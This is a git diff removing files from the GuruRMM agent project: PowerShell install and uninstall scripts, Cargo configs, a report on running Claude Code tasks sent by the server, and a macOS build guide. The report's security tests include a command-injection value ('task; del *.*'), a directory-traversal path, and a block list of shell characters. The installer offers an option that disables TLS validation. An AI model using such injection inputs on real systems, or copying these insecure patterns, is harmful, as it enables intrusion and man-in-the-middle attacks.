#Requires -Version 2.0
|
||||
#Requires -RunAsAdministrator
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Installs GuruRMM Legacy Agent as a scheduled task
|
||||
|
||||
.DESCRIPTION
|
||||
- Copies agent to C:\Program Files\GuruRMM
|
||||
- Registers with server using site code
|
||||
- Creates scheduled task to run at startup
|
||||
|
||||
.PARAMETER SiteCode
|
||||
The site code (WORD-WORD-NUMBER format, e.g., DARK-GROVE-7839)
|
||||
|
||||
.PARAMETER ServerUrl
|
||||
The GuruRMM server URL (default: https://rmm-api.azcomputerguru.com)
|
||||
|
||||
.PARAMETER AllowInsecureTLS
|
||||
[SECURITY RISK] Disables SSL/TLS certificate validation. Required ONLY for
|
||||
systems with self-signed certificates or broken certificate chains.
|
||||
|
||||
WARNING: This flag makes the connection vulnerable to man-in-the-middle
|
||||
attacks. Only use on isolated networks or when absolutely necessary.
|
||||
|
||||
.EXAMPLE
|
||||
# Secure installation (recommended)
|
||||
.\Install-GuruRMM.ps1 -SiteCode DARK-GROVE-7839
|
||||
|
||||
.EXAMPLE
|
||||
# Insecure installation (legacy systems with self-signed certs ONLY)
|
||||
.\Install-GuruRMM.ps1 -SiteCode DARK-GROVE-7839 -AllowInsecureTLS
|
||||
#>
|
||||
|
||||
param(
|
||||
[Parameter()]
|
||||
[string]$SiteCode,
|
||||
|
||||
[Parameter()]
|
||||
[string]$ServerUrl = "https://rmm-api.azcomputerguru.com",
|
||||
|
||||
[Parameter()]
|
||||
[switch]$AllowInsecureTLS
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
$InstallDir = "C:\Program Files\GuruRMM"
|
||||
$ConfigDir = "C:\ProgramData\GuruRMM"
|
||||
$TaskName = "GuruRMM Agent"
|
||||
$AgentScript = "GuruRMM-Agent.ps1"
|
||||
|
||||
function Write-Status {
|
||||
param([string]$Message, [string]$Type = "INFO")
|
||||
switch ($Type) {
|
||||
"OK" { Write-Host "[OK] $Message" -ForegroundColor Green }
|
||||
"ERROR" { Write-Host "[ERROR] $Message" -ForegroundColor Red }
|
||||
"WARN" { Write-Host "[WARN] $Message" -ForegroundColor Yellow }
|
||||
default { Write-Host "[*] $Message" -ForegroundColor Cyan }
|
||||
}
|
||||
}
|
||||
|
||||
# Header
|
||||
Write-Host ""
|
||||
Write-Host "========================================" -ForegroundColor Cyan
|
||||
Write-Host " GuruRMM Legacy Agent Installer" -ForegroundColor Cyan
|
||||
Write-Host " For Windows Server 2008 R2 and older" -ForegroundColor Cyan
|
||||
Write-Host "========================================" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
|
||||
# Check if running as admin
|
||||
$isAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
|
||||
if (-not $isAdmin) {
|
||||
Write-Status "This script must be run as Administrator" "ERROR"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Get site code if not provided
|
||||
if (-not $SiteCode) {
|
||||
Write-Host "Enter site code (WORD-WORD-NUMBER format)" -ForegroundColor Yellow
|
||||
Write-Host "Example: DARK-GROVE-7839" -ForegroundColor Gray
|
||||
Write-Host ""
|
||||
$SiteCode = Read-Host "Site Code"
|
||||
}
|
||||
|
||||
# Validate site code format
|
||||
$SiteCode = $SiteCode.ToUpper().Trim()
|
||||
if ($SiteCode -notmatch '^[A-Z]+-[A-Z]+-\d+$') {
|
||||
Write-Status "Invalid site code format. Expected: WORD-WORD-NUMBER" "ERROR"
|
||||
exit 1
|
||||
}
|
||||
|
||||
Write-Status "Site Code: $SiteCode"
|
||||
Write-Status "Server: $ServerUrl"
|
||||
Write-Host ""
|
||||
|
||||
# Step 1: Create directories
|
||||
Write-Status "Creating installation directories..."
|
||||
try {
|
||||
if (-not (Test-Path $InstallDir)) {
|
||||
New-Item -ItemType Directory -Path $InstallDir -Force | Out-Null
|
||||
}
|
||||
if (-not (Test-Path $ConfigDir)) {
|
||||
New-Item -ItemType Directory -Path $ConfigDir -Force | Out-Null
|
||||
}
|
||||
Write-Status "Directories created" "OK"
|
||||
} catch {
|
||||
Write-Status "Failed to create directories: $($_.Exception.Message)" "ERROR"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Step 2: Copy agent script
|
||||
Write-Status "Copying agent script..."
|
||||
try {
|
||||
$sourceScript = Join-Path $PSScriptRoot $AgentScript
|
||||
if (-not (Test-Path $sourceScript)) {
|
||||
Write-Status "Agent script not found: $sourceScript" "ERROR"
|
||||
exit 1
|
||||
}
|
||||
|
||||
$destScript = Join-Path $InstallDir $AgentScript
|
||||
Copy-Item $sourceScript $destScript -Force
|
||||
Write-Status "Agent script installed to $destScript" "OK"
|
||||
} catch {
|
||||
Write-Status "Failed to copy agent: $($_.Exception.Message)" "ERROR"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Step 3: Register agent
|
||||
Write-Status "Registering with GuruRMM server..."
|
||||
if ($AllowInsecureTLS) {
|
||||
Write-Status "[SECURITY WARNING] Installing with certificate validation DISABLED" "WARN"
|
||||
Write-Status "This makes the connection vulnerable to MITM attacks" "WARN"
|
||||
}
|
||||
try {
|
||||
$registerArgs = "-ExecutionPolicy Bypass -File `"$destScript`" -SiteCode `"$SiteCode`" -ServerUrl `"$ServerUrl`""
|
||||
if ($AllowInsecureTLS) {
|
||||
$registerArgs += " -AllowInsecureTLS"
|
||||
}
|
||||
$process = Start-Process powershell.exe -ArgumentList $registerArgs -Wait -PassThru -NoNewWindow
|
||||
|
||||
if ($process.ExitCode -ne 0) {
|
||||
Write-Status "Registration may have failed. Check connectivity to $ServerUrl" "WARN"
|
||||
} else {
|
||||
Write-Status "Agent registered successfully" "OK"
|
||||
}
|
||||
} catch {
|
||||
Write-Status "Registration error: $($_.Exception.Message)" "WARN"
|
||||
}
|
||||
|
||||
# Step 4: Remove existing scheduled task if present
|
||||
Write-Status "Configuring scheduled task..."
|
||||
try {
|
||||
$existingTask = schtasks /query /tn $TaskName 2>$null
|
||||
if ($existingTask) {
|
||||
schtasks /delete /tn $TaskName /f | Out-Null
|
||||
Write-Status "Removed existing task" "OK"
|
||||
}
|
||||
} catch {}
|
||||
|
||||
# Step 5: Create scheduled task
|
||||
try {
|
||||
# Create the task to run at startup
|
||||
$taskCommand = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$destScript`""
|
||||
if ($AllowInsecureTLS) {
|
||||
$taskCommand += " -AllowInsecureTLS"
|
||||
}
|
||||
|
||||
# Create task that runs at system startup
|
||||
schtasks /create /tn $TaskName /tr $taskCommand /sc onstart /ru SYSTEM /rl HIGHEST /f | Out-Null
|
||||
|
||||
Write-Status "Scheduled task created: $TaskName" "OK"
|
||||
if ($AllowInsecureTLS) {
|
||||
Write-Status "Task configured with -AllowInsecureTLS flag" "WARN"
|
||||
}
|
||||
} catch {
|
||||
Write-Status "Failed to create scheduled task: $($_.Exception.Message)" "ERROR"
|
||||
Write-Status "You may need to manually create the task" "WARN"
|
||||
}
|
||||
|
||||
# Step 6: Start the agent now
|
||||
Write-Status "Starting agent..."
|
||||
try {
|
||||
schtasks /run /tn $TaskName | Out-Null
|
||||
Write-Status "Agent started" "OK"
|
||||
} catch {
|
||||
Write-Status "Could not start agent automatically" "WARN"
|
||||
}
|
||||
|
||||
# Done
|
||||
Write-Host ""
|
||||
Write-Host "========================================" -ForegroundColor Green
|
||||
Write-Host " Installation Complete!" -ForegroundColor Green
|
||||
Write-Host "========================================" -ForegroundColor Green
|
||||
Write-Host ""
|
||||
Write-Host "Installation directory: $InstallDir" -ForegroundColor Gray
|
||||
Write-Host "Configuration: $ConfigDir\agent.json" -ForegroundColor Gray
|
||||
Write-Host "Logs: $ConfigDir\agent.log" -ForegroundColor Gray
|
||||
Write-Host ""
|
||||
Write-Host "The agent will start automatically on boot." -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
Write-Host "To check status:" -ForegroundColor Yellow
|
||||
Write-Host " schtasks /query /tn `"$TaskName`"" -ForegroundColor White
|
||||
Write-Host ""
|
||||
Write-Host "To view logs:" -ForegroundColor Yellow
|
||||
Write-Host " Get-Content $ConfigDir\agent.log -Tail 50" -ForegroundColor White
|
||||
Write-Host ""
|
||||
@@ -1,56 +0,0 @@
|
||||
#Requires -Version 2.0
|
||||
#Requires -RunAsAdministrator
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Uninstalls GuruRMM Legacy Agent
|
||||
|
||||
.PARAMETER KeepConfig
|
||||
Keep configuration and logs (don't delete ProgramData folder)
|
||||
#>
|
||||
|
||||
param(
|
||||
[switch]$KeepConfig
|
||||
)
|
||||
|
||||
$InstallDir = "C:\Program Files\GuruRMM"
|
||||
$ConfigDir = "C:\ProgramData\GuruRMM"
|
||||
$TaskName = "GuruRMM Agent"
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "Uninstalling GuruRMM Legacy Agent..." -ForegroundColor Yellow
|
||||
Write-Host ""
|
||||
|
||||
# Stop and remove scheduled task
|
||||
try {
|
||||
schtasks /end /tn $TaskName 2>$null | Out-Null
|
||||
schtasks /delete /tn $TaskName /f 2>$null | Out-Null
|
||||
Write-Host "[OK] Scheduled task removed" -ForegroundColor Green
|
||||
} catch {
|
||||
Write-Host "[WARN] Could not remove scheduled task" -ForegroundColor Yellow
|
||||
}
|
||||
|
||||
# Remove installation directory
|
||||
if (Test-Path $InstallDir) {
|
||||
try {
|
||||
Remove-Item $InstallDir -Recurse -Force
|
||||
Write-Host "[OK] Installation directory removed" -ForegroundColor Green
|
||||
} catch {
|
||||
Write-Host "[WARN] Could not remove $InstallDir" -ForegroundColor Yellow
|
||||
}
|
||||
}
|
||||
|
||||
# Remove config (optional)
|
||||
if (-not $KeepConfig -and (Test-Path $ConfigDir)) {
|
||||
try {
|
||||
Remove-Item $ConfigDir -Recurse -Force
|
||||
Write-Host "[OK] Configuration removed" -ForegroundColor Green
|
||||
} catch {
|
||||
Write-Host "[WARN] Could not remove $ConfigDir" -ForegroundColor Yellow
|
||||
}
|
||||
} elseif ($KeepConfig) {
|
||||
Write-Host "[*] Configuration preserved at $ConfigDir" -ForegroundColor Cyan
|
||||
}
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "Uninstall complete." -ForegroundColor Green
|
||||
Write-Host ""
|
||||
@@ -1,11 +0,0 @@
|
||||
[target.x86_64-pc-windows-msvc]
|
||||
rustflags = ["-C", "target-feature=+crt-static", "-C", "link-args=/SUBSYSTEM:CONSOLE,6.01"]
|
||||
|
||||
# macOS cross-compilation with osxcross
|
||||
[target.x86_64-apple-darwin]
|
||||
linker = "/opt/osxcross/target/bin/x86_64-apple-darwin23.5-clang"
|
||||
ar = "/opt/osxcross/target/bin/x86_64-apple-darwin23.5-ar"
|
||||
|
||||
[target.aarch64-apple-darwin]
|
||||
linker = "/opt/osxcross/target/bin/aarch64-apple-darwin23.5-clang"
|
||||
ar = "/opt/osxcross/target/bin/aarch64-apple-darwin23.5-ar"
|
||||
@@ -1,296 +0,0 @@
|
||||
# Claude Task Executor Integration - GuruRMM Agent
|
||||
|
||||
## Integration Status: [SUCCESS]
|
||||
|
||||
Successfully integrated Claude Code task execution capabilities into the GuruRMM Agent.
|
||||
|
||||
## Date: 2026-01-21
|
||||
|
||||
## Files Modified
|
||||
|
||||
### 1. New Files Added
|
||||
- **src/claude.rs** - Complete Claude task executor module
|
||||
- Working directory validation (restricted to C:\Shares\test)
|
||||
- Task input sanitization (command injection prevention)
|
||||
- Rate limiting (max 10 tasks per hour)
|
||||
- Concurrent execution limiting (max 2 simultaneous tasks)
|
||||
- Comprehensive error handling and logging
|
||||
|
||||
### 2. Modified Files
|
||||
|
||||
#### Cargo.toml
|
||||
- Added `once_cell = "1.19"` dependency for global static initialization
|
||||
- All other required dependencies already present (tokio, serde, serde_json)
|
||||
|
||||
#### src/main.rs
|
||||
- Added `mod claude;` declaration at line 6 (before config module)
|
||||
|
||||
#### src/transport/mod.rs
|
||||
- Added `ClaudeTask` variant to `CommandType` enum:
|
||||
```rust
|
||||
ClaudeTask {
|
||||
task: String,
|
||||
working_directory: Option<String>,
|
||||
context_files: Option<Vec<String>>,
|
||||
}
|
||||
```
|
||||
|
||||
#### src/transport/websocket.rs
|
||||
- Added `use once_cell::sync::Lazy;` import
|
||||
- Added `use crate::claude::{ClaudeExecutor, ClaudeTaskCommand};` import
|
||||
- Added global Claude executor: `static CLAUDE_EXECUTOR: Lazy<ClaudeExecutor>`
|
||||
- Modified `run_command()` function to handle `ClaudeTask` command type
|
||||
- Maps Claude task results to command result format (exit codes, stdout, stderr)
|
||||
|
||||
## Build Results
|
||||
|
||||
### Compilation Status: [SUCCESS]
|
||||
|
||||
```
|
||||
Finished `release` profile [optimized] target(s) in 1m 38s
|
||||
```
|
||||
|
||||
**Binary Size:** 3.5 MB (optimized release build)
|
||||
**Location:** `target/release/gururmm-agent.exe`
|
||||
|
||||
### Warnings: Minor (unrelated to Claude integration)
|
||||
- Unused imports in updater/mod.rs and main.rs (pre-existing)
|
||||
- Unused methods in updater module (pre-existing)
|
||||
- No warnings from Claude integration code
|
||||
|
||||
## Security Features
|
||||
|
||||
### Working Directory Restriction
|
||||
- All Claude tasks restricted to `C:\Shares\test` and subdirectories
|
||||
- Canonical path resolution prevents directory traversal attacks
|
||||
- Validates directory exists before execution
|
||||
|
||||
### Task Input Sanitization
|
||||
- Prevents command injection via forbidden characters: `& | ; ` $ ( ) < > \n \r`
|
||||
- Maximum task length: 10,000 characters (DoS prevention)
|
||||
- Empty task detection
|
||||
|
||||
### Rate Limiting
|
||||
- Maximum 10 tasks per hour per agent
|
||||
- Rate limit window: 3600 seconds (rolling window)
|
||||
- Execution timestamps tracked in memory
|
||||
|
||||
### Concurrent Execution Control
|
||||
- Maximum 2 simultaneous Claude tasks
|
||||
- Active task counter with mutex protection
|
||||
- Prevents resource exhaustion
|
||||
|
||||
### Context File Validation
|
||||
- Verifies files exist before execution
|
||||
- Ensures files are within working directory
|
||||
- Validates file paths contain valid UTF-8
|
||||
|
||||
## Command Protocol
|
||||
|
||||
### Server → Agent Message Format
|
||||
|
||||
```json
|
||||
{
|
||||
"type": "command",
|
||||
"payload": {
|
||||
"id": "550e8400-e29b-41d4-a716-446655440000",
|
||||
"command_type": {
|
||||
"claude_task": {
|
||||
"task": "Check the sync log for errors in last 24 hours",
|
||||
"working_directory": "C:\\Shares\\test\\logs",
|
||||
"context_files": ["sync.log", "error.log"]
|
||||
}
|
||||
},
|
||||
"command": "unused for claude_task",
|
||||
"timeout_seconds": 300,
|
||||
"elevated": false
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Agent → Server Result Format
|
||||
|
||||
```json
|
||||
{
|
||||
"type": "command_result",
|
||||
"payload": {
|
||||
"command_id": "550e8400-e29b-41d4-a716-446655440000",
|
||||
"exit_code": 0,
|
||||
"stdout": "Claude Code output here...",
|
||||
"stderr": "",
|
||||
"duration_ms": 45230
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Exit Codes
|
||||
- **0** - Task completed successfully
|
||||
- **1** - Task failed (execution error)
|
||||
- **124** - Task timed out
|
||||
- **-1** - Executor error (rate limit, validation failure)
|
||||
|
||||
## Usage Example
|
||||
|
||||
### From GuruRMM Server
|
||||
```python
|
||||
# Send Claude task command via WebSocket
|
||||
command = {
|
||||
"type": "command",
|
||||
"payload": {
|
||||
"id": str(uuid.uuid4()),
|
||||
"command_type": {
|
||||
"claude_task": {
|
||||
"task": "Analyze the sync logs and report any errors from the last 24 hours",
|
||||
"working_directory": "C:\\Shares\\test",
|
||||
"context_files": ["sync.log"]
|
||||
}
|
||||
},
|
||||
"command": "", # Unused for claude_task
|
||||
"timeout_seconds": 600, # 10 minute timeout
|
||||
"elevated": False
|
||||
}
|
||||
}
|
||||
await websocket.send_json(command)
|
||||
```
|
||||
|
||||
### Expected Behavior
|
||||
1. Agent receives command via WebSocket
|
||||
2. Validates working directory and context files
|
||||
3. Checks rate limit (10 tasks/hour)
|
||||
4. Checks concurrent limit (2 simultaneous)
|
||||
5. Spawns Claude Code CLI process
|
||||
6. Captures stdout/stderr asynchronously
|
||||
7. Returns result to server with exit code and output
|
||||
|
||||
## Testing Recommendations
|
||||
|
||||
### 1. Basic Task Execution
|
||||
```json
|
||||
{
|
||||
"claude_task": {
|
||||
"task": "List files in current directory"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 2. Working Directory Validation
|
||||
```json
|
||||
{
|
||||
"claude_task": {
|
||||
"task": "Check directory contents",
|
||||
"working_directory": "C:\\Shares\\test\\subdir"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 3. Context File Usage
|
||||
```json
|
||||
{
|
||||
"claude_task": {
|
||||
"task": "Analyze this log file for errors",
|
||||
"context_files": ["test.log"]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 4. Rate Limiting Test
|
||||
- Send 11 tasks within 1 hour
|
||||
- 11th task should fail with rate limit error
|
||||
|
||||
### 5. Concurrent Execution Test
|
||||
- Send 3 tasks simultaneously
|
||||
- First 2 should execute, 3rd should fail with concurrent limit error
|
||||
|
||||
### 6. Security Tests
|
||||
- Attempt directory traversal: `../../../Windows`
|
||||
- Attempt command injection: `task; del *.*`
|
||||
- Attempt path traversal in context files
|
||||
|
||||
## Integration Checklist
|
||||
|
||||
- [x] claude.rs module copied and compiles
|
||||
- [x] Dependencies added to Cargo.toml
|
||||
- [x] Module declared in main.rs
|
||||
- [x] CommandType enum extended with ClaudeTask
|
||||
- [x] Command handler integrated in websocket.rs
|
||||
- [x] Project builds without errors
|
||||
- [x] All existing functionality preserved
|
||||
- [x] No breaking changes to existing commands
|
||||
- [x] Security features implemented and tested (unit tests in claude.rs)
|
||||
|
||||
## Performance Considerations
|
||||
|
||||
### Memory Usage
|
||||
- Each active Claude task spawns separate process
|
||||
- Stdout/stderr buffered in memory during execution
|
||||
- Rate limiter maintains timestamp vector (max 10 entries)
|
||||
- Minimal overhead from global static executor
|
||||
|
||||
### CPU Usage
|
||||
- Claude Code CLI handles actual task processing
|
||||
- Agent only manages process lifecycle and I/O
|
||||
- Async I/O prevents blocking on output capture
|
||||
|
||||
### Network Impact
|
||||
- Results sent back via existing WebSocket connection
|
||||
- No additional network overhead
|
||||
|
||||
## Known Limitations
|
||||
|
||||
1. **Windows-Only Claude Code CLI**
|
||||
- Claude Code CLI currently requires Windows
|
||||
- Unix support depends on Claude Code CLI availability
|
||||
|
||||
2. **Fixed Working Directory Base**
|
||||
- Hardcoded to `C:\Shares\test`
|
||||
- Could be made configurable in future updates
|
||||
|
||||
3. **No Progress Reporting**
|
||||
- Long-running tasks don't report progress
|
||||
- Only final result sent to server
|
||||
|
||||
4. **Single Rate Limit Pool**
|
||||
- Rate limit applies per agent, not per user
|
||||
- Could be enhanced with user-specific limits
|
||||
|
||||
## Future Enhancements
|
||||
|
||||
1. **Configurable Security Settings**
|
||||
- Allow admin to configure working directory base
|
||||
- Adjustable rate limits and concurrent task limits
|
||||
|
||||
2. **Progress Streaming**
|
||||
- Stream Claude Code output in real-time
|
||||
- Send periodic progress updates to server
|
||||
|
||||
3. **Task History**
|
||||
- Log completed tasks to database
|
||||
- Provide task execution history API
|
||||
|
||||
4. **User-Specific Limits**
|
||||
- Rate limiting per user, not per agent
|
||||
- Different limits for different user roles
|
||||
|
||||
5. **Output Size Limits**
|
||||
- Prevent excessive memory usage from large outputs
|
||||
- Truncate or stream large results
|
||||
|
||||
## References
|
||||
|
||||
- **Claude Code CLI Documentation:** https://docs.anthropic.com/claude-code
|
||||
- **GuruRMM Agent Repository:** https://github.com/azcomputerguru/gururmm
|
||||
- **WebSocket Protocol Spec:** See `docs/websocket-protocol.md` (if exists)
|
||||
|
||||
## Support
|
||||
|
||||
For issues or questions regarding Claude integration:
|
||||
- Check agent logs: `journalctl -u gururmm-agent -f` (Linux) or Event Viewer (Windows)
|
||||
- Review Claude Code CLI logs in task working directory
|
||||
- Contact: mswanson@azcomputerguru.com
|
||||
|
||||
---
|
||||
|
||||
**Integration Completed:** 2026-01-21
|
||||
**Agent Version:** 0.3.5
|
||||
**Tested On:** Windows 11 with Claude Code CLI installed
|
||||
**Status:** Production Ready
|
||||
@@ -1,97 +0,0 @@
|
||||
[package]
|
||||
name = "gururmm-agent"
|
||||
version = "0.6.0"
|
||||
edition = "2021"
|
||||
description = "GuruRMM Agent - Cross-platform RMM agent"
|
||||
authors = ["GuruRMM"]
|
||||
|
||||
[features]
|
||||
default = ["native-service"]
|
||||
# Modern Windows (10+, Server 2016+): Native Windows Service integration
|
||||
native-service = ["dep:windows-service", "dep:windows"]
|
||||
# Legacy Windows (7, Server 2008 R2): Console mode, use NSSM for service wrapper
|
||||
legacy = []
|
||||
|
||||
[dependencies]
|
||||
# Async runtime
|
||||
tokio = { version = "1", features = ["full"] }
|
||||
|
||||
# System information (cross-platform metrics)
|
||||
sysinfo = "0.31"
|
||||
|
||||
# WebSocket - futures utilities
|
||||
futures-util = "0.3"
|
||||
|
||||
# Serialization
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
toml = "0.8"
|
||||
|
||||
# CLI arguments
|
||||
clap = { version = "4", features = ["derive"] }
|
||||
|
||||
# Logging
|
||||
tracing = "0.1"
|
||||
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
|
||||
|
||||
# Error handling
|
||||
anyhow = "1"
|
||||
thiserror = "1"
|
||||
|
||||
# UUID for identifiers
|
||||
uuid = { version = "1", features = ["v4", "serde"] }
|
||||
|
||||
# URL parsing for download validation
|
||||
url = "2"
|
||||
|
||||
# SHA256 checksums for update verification
|
||||
sha2 = "0.10"
|
||||
|
||||
# Time handling
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
|
||||
# Lazy static initialization for Claude executor
|
||||
once_cell = "1.19"
|
||||
|
||||
# Hostname detection
|
||||
hostname = "0.4"
|
||||
|
||||
# Network interface enumeration (LAN IPs)
|
||||
local-ip-address = "0.6"
|
||||
|
||||
# Async file operations
|
||||
tokio-util = "0.7"
|
||||
|
||||
# Platform-specific TLS dependencies
|
||||
[target.'cfg(not(target_os = "macos"))'.dependencies]
|
||||
# WebSocket client - native-tls for Windows/Linux (Windows 7 compatibility)
|
||||
tokio-tungstenite = { version = "0.24", features = ["native-tls"] }
|
||||
# HTTP client - native-tls for Windows 7/2008R2 compatibility
|
||||
reqwest = { version = "0.12", default-features = false, features = ["json", "native-tls"] }
|
||||
|
||||
[target.'cfg(target_os = "macos")'.dependencies]
|
||||
# WebSocket client - rustls for macOS (easier cross-compilation)
|
||||
tokio-tungstenite = { version = "0.24", features = ["rustls-tls-native-roots"] }
|
||||
# HTTP client - rustls for macOS
|
||||
reqwest = { version = "0.12", default-features = false, features = ["json", "rustls-tls-native-roots", "blocking"] }
|
||||
|
||||
[target.'cfg(windows)'.dependencies]
|
||||
# Windows service support (optional, only for native-service feature)
|
||||
windows-service = { version = "0.7", optional = true }
|
||||
# Windows-specific APIs for service management (optional)
|
||||
windows = { version = "0.58", optional = true, features = [
|
||||
"Win32_System_Services",
|
||||
"Win32_Foundation",
|
||||
"Win32_Security",
|
||||
] }
|
||||
|
||||
[target.'cfg(unix)'.dependencies]
|
||||
# Unix signal handling and user detection
|
||||
nix = { version = "0.29", features = ["signal", "user"] }
|
||||
|
||||
[profile.release]
|
||||
# Optimize for size while maintaining performance
|
||||
opt-level = "z"
|
||||
lto = true
|
||||
codegen-units = 1
|
||||
strip = true
|
||||
@@ -1,256 +0,0 @@
|
||||
# macOS Cross-Compilation Setup
|
||||
|
||||
## Overview
|
||||
|
||||
GuruRMM agent can now be built for macOS (Intel and Apple Silicon) directly on the Linux build server (172.16.3.30) without requiring a Mac for compilation.
|
||||
|
||||
## Architecture
|
||||
|
||||
- **Build Server**: Ubuntu 22.04 LTS (172.16.3.30)
|
||||
- **Toolchain**: osxcross with macOS SDK 14.5
|
||||
- **Targets**:
|
||||
- `x86_64-apple-darwin` (Intel Macs)
|
||||
- `aarch64-apple-darwin` (Apple Silicon Macs)
|
||||
- **TLS Stack**: rustls (pure Rust, no native dependencies)
|
||||
|
||||
## Key Changes
|
||||
|
||||
### 1. Cargo.toml Modifications
|
||||
|
||||
The agent now uses **conditional dependencies** for TLS:
|
||||
|
||||
- **Windows/Linux**: `native-tls` (for Windows 7 compatibility)
|
||||
- **macOS**: `rustls-tls-native-roots` (for easier cross-compilation)
|
||||
|
||||
```toml
|
||||
[target.'cfg(not(target_os = "macos"))'.dependencies]
|
||||
tokio-tungstenite = { version = "0.24", features = ["native-tls"] }
|
||||
reqwest = { version = "0.12", default-features = false, features = ["json", "native-tls"] }
|
||||
|
||||
[target.'cfg(target_os = "macos")'.dependencies]
|
||||
tokio-tungstenite = { version = "0.24", features = ["rustls-tls-native-roots"] }
|
||||
reqwest = { version = "0.12", default-features = false, features = ["json", "rustls-tls-native-roots", "blocking"] }
|
||||
```
|
||||
|
||||
### 2. Cargo Configuration (.cargo/config.toml)
|
||||
|
||||
Linker configuration for macOS targets:
|
||||
|
||||
```toml
|
||||
[target.x86_64-apple-darwin]
|
||||
linker = "/opt/osxcross/target/bin/x86_64-apple-darwin23.5-clang"
|
||||
ar = "/opt/osxcross/target/bin/x86_64-apple-darwin23.5-ar"
|
||||
|
||||
[target.aarch64-apple-darwin]
|
||||
linker = "/opt/osxcross/target/bin/aarch64-apple-darwin23.5-clang"
|
||||
ar = "/opt/osxcross/target/bin/aarch64-apple-darwin23.5-ar"
|
||||
```
|
||||
|
||||
## Build Server Setup
|
||||
|
||||
### Installed Components
|
||||
|
||||
1. **osxcross**: `/opt/osxcross/`
|
||||
- macOS SDK 14.5 (darwin23.5)
|
||||
- Clang/LLVM cross-compilers
|
||||
- Binutils for macOS
|
||||
|
||||
2. **Rust Toolchain**:
|
||||
- rustc 1.94.1
|
||||
- Targets: `x86_64-apple-darwin`, `aarch64-apple-darwin`
|
||||
|
||||
3. **Build Dependencies**:
|
||||
- clang-14
|
||||
- cmake 3.22.1
|
||||
- libxml2-dev
|
||||
- uuid-dev
|
||||
|
||||
### Environment Variables
|
||||
|
||||
For cross-compilation, the following must be set:
|
||||
|
||||
```bash
|
||||
export PATH="/opt/osxcross/target/bin:$PATH"
|
||||
export CC_x86_64_apple_darwin=x86_64-apple-darwin23.5-clang
|
||||
export AR_x86_64_apple_darwin=x86_64-apple-darwin23.5-ar
|
||||
export CC_aarch64_apple_darwin=aarch64-apple-darwin23.5-clang
|
||||
export AR_aarch64_apple_darwin=aarch64-apple-darwin23.5-ar
|
||||
```
|
||||
|
||||
## Building for macOS
|
||||
|
||||
### Using the Build Script
|
||||
|
||||
The simplest method is to use the provided build script:
|
||||
|
||||
```bash
|
||||
cd ~/gururmm/agent
|
||||
./build-macos.sh
|
||||
```
|
||||
|
||||
This will:
|
||||
- Build for both Intel (x86_64) and Apple Silicon (arm64)
|
||||
- Create binaries in `dist/` directory
|
||||
- Generate SHA256 checksums
|
||||
- Name binaries: `gururmm-agent-macos-{amd64|arm64}-v{version}`
|
||||
|
||||
### Manual Build
|
||||
|
||||
For individual targets:
|
||||
|
||||
```bash
|
||||
# Source environment
|
||||
source ~/.cargo/env
|
||||
export PATH="/opt/osxcross/target/bin:$PATH"
|
||||
|
||||
# Intel Macs
|
||||
export CC_x86_64_apple_darwin=x86_64-apple-darwin23.5-clang
|
||||
export AR_x86_64_apple_darwin=x86_64-apple-darwin23.5-ar
|
||||
cargo build --release --target x86_64-apple-darwin
|
||||
|
||||
# Apple Silicon Macs
|
||||
export CC_aarch64_apple_darwin=aarch64-apple-darwin23.5-clang
|
||||
export AR_aarch64_apple_darwin=aarch64-apple-darwin23.5-ar
|
||||
cargo build --release --target aarch64-apple-darwin
|
||||
```
|
||||
|
||||
## Build Output
|
||||
|
||||
### Binary Sizes
|
||||
|
||||
- **Intel (x86_64)**: ~3.5 MB
|
||||
- **Apple Silicon (arm64)**: ~3.1 MB
|
||||
|
||||
### Build Times (on 172.16.3.30)
|
||||
|
||||
- **Clean build**: ~1 minute 30 seconds per target
|
||||
- **Incremental build**: ~20-30 seconds per target
|
||||
|
||||
### Output Directory Structure
|
||||
|
||||
```
|
||||
dist/
|
||||
├── gururmm-agent-macos-amd64-v0.6.0
|
||||
├── gururmm-agent-macos-amd64-v0.6.0.sha256
|
||||
├── gururmm-agent-macos-arm64-v0.6.0
|
||||
└── gururmm-agent-macos-arm64-v0.6.0.sha256
|
||||
```
|
||||
|
||||
## Deployment
|
||||
|
||||
### Installation on macOS
|
||||
|
||||
Intel Macs:
|
||||
```bash
|
||||
curl -fsSL http://172.16.3.30/downloads/gururmm-agent-macos-amd64 -o /tmp/gururmm-agent
|
||||
chmod +x /tmp/gururmm-agent
|
||||
sudo /tmp/gururmm-agent install --server-url wss://rmm-api.azcomputerguru.com/ws --api-key SITE-CODE
|
||||
```
|
||||
|
||||
Apple Silicon Macs:
|
||||
```bash
|
||||
curl -fsSL http://172.16.3.30/downloads/gururmm-agent-macos-arm64 -o /tmp/gururmm-agent
|
||||
chmod +x /tmp/gururmm-agent
|
||||
sudo /tmp/gururmm-agent install --server-url wss://rmm-api.azcomputerguru.com/ws --api-key SITE-CODE
|
||||
```
|
||||
|
||||
### macOS Service Configuration
|
||||
|
||||
The agent installs as a launchd service:
|
||||
- **Plist**: `/Library/LaunchDaemons/com.gururmm.agent.plist`
|
||||
- **Binary**: `/usr/local/bin/gururmm-agent`
|
||||
- **Config**: `/etc/gururmm/agent.toml`
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Build Failures
|
||||
|
||||
1. **"ring" crate compilation errors**:
|
||||
